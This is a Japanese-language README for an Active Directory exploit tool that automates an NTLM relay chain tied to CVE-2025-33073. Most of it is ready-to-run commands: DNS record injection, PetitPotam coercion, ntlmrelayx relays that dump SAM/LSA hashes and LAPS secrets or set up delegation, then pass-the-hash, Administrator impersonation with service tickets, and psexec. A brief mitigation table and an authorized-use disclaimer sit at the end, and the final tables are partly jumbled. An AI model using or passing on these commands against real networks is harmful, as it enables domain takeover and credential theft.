
cupntlm
CVE-2025-33073 — DNS 強制認証による NTLM リフレクション回避
Active Directory 環境向け自動化エクスプロイトツール。
cupntlm は、CVE-2025-33073 を悪用する NTLM リフレクション/リレー攻撃チェーンを自動化します。DNS レコード注入、強制認証(PetitPotam)、NTLM リレーを単一のワークフローに統合します。このツールは、スコープとステルス要件に応じて 2 つの運用モードをサポートします。
Attacker Domain Controller Target Host
│ │ │
│── 1. DNS レコードを注入 ────────▶│ │
│ (攻撃者 IP をターゲットとして) │ │
│ │ │
│── 2. 認証を強制 (PetitPotam) ──────────────────────────────▶│
│ │ │
│◀─ 3. NTLM 認証が転送されて返る ────────────────────────────│
│ │ │
│── 4. DC へリレー ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. シェル / secretsdump / など │ │
対象ネットワークの前提条件:
| ライブラリ | インストール |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
何かを実行する前に、ターゲットの SMB 署名状態を確認し、ドメイン資格情報を検証します。
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
ターゲットごとに一意の DNS レコードを作成し、1 台ずつ認証を強制して、反復ごとにレコードをクリーンアップします。低速ですが、より精密でノイズが少なくなります。
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
単一の DNS レコードを注入し、全ターゲットを反復処理している間 ntlmrelayx を継続的に実行します。大規模スコープで高速です。
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
以下の手順は、cupntlm.py を使用せずに完全な攻撃チェーンを手動で再現するものです。プリミティブの理解、デバッグ、または非標準環境への適応に役立ちます。
SMB 署名が無効になっているホストを特定します。これらが有効なリレーターゲットです。
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
または nmap を使用:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
以下の表示に注目:
Message signing enabled but not required ← リレー可能なターゲット
Message signing enabled and required ← ここにはリレー不可
dnstool.py を使用して、ホスト名を自分のマシンに向ける A レコードをドメインの DNS に追加します。ターゲットがこのホスト名を解決して認証すると、要求はリレーリスナーに届きます。
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # 自分の攻撃者 IP
--type A \
10.0.0.1 # DC IP
レコードが追加されたことを確認:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
認証を強制する前に ntlmrelayx.py を起動します。リスナーは着信認証を待機します。
SMB へのリレー — SAM/LSA ダンプ:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
LDAP へのリレー — 新しいマシンアカウントを作成(RBCD / シャドウ資格情報用):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
LDAPS へのリレー — ドメインシークレットのダンプ:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
ターゲットマシンに、注入した DNS レコードへ向けて外部認証を実行させます。PetitPotam は MS-EFSRPC インターフェイスを悪用します。未パッチのホストでは資格情報は不要で、パッチ済みホストでは有効な資格情報が必要です。
未認証(未パッチのターゲット):
python3 PetitPotam.py \
[dnsname] \ # リスナー IP(DNS レコードと一致)
192.168.1.50 # 認証を強制するターゲットホスト
認証あり(パッチ済みターゲット、有効な資格情報が必要):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
この時点で、強制されたホストは自分のマシンに NTLM 認証を送信します → ntlmrelayx がそれを捕捉してリレーします。
ステップ 3 で選択したリレーターゲットに応じて:
<hostname>_samhashes.txt / _lsahashes.txt を書き込みますgetST.py でサービスチケットを取得しますエンゲージメント後は、注入した DNS レコードを必ず削除してください。
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
リレーしたマシンアカウントでのパスザハッシュ:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
S4U2Self のサービスチケットを取得(RBCD 後):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
チケットを使用:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| 対策 | 効果 |
|---|---|
| 全ホストで SMB 署名(必須)を有効化 | SMB へのリレーを阻止 |
| LDAP 署名 + チャネルバインディングを有効化 | LDAP/LDAPS へのリレーを阻止 |
| MS-EFSRPC にパッチ適用(KB5005413) |
このツールは許可を得たペネトレーションテストおよびセキュリティ研究のみを目的としています。
明示的な書面による許可がないシステムに対して使用しないでください。
| ツール | 目的 |
|---|
python3 | ランタイム |
pip3 | Python パッケージマネージャー |
git | 依存関係のクローン |
wget | ファイルのダウンロード |
nmap | SMB 署名の列挙 |
netexec / crackmapexec | SMB 署名チェック(任意) |
| 未認証 PetitPotam を阻止 |
| DNS レコード作成を管理者に限定 | DNS 注入ステップを阻止 |
| NTLM ネットワーク認証を無効化(Kerberos を優先) | この攻撃クラス全体を排除 |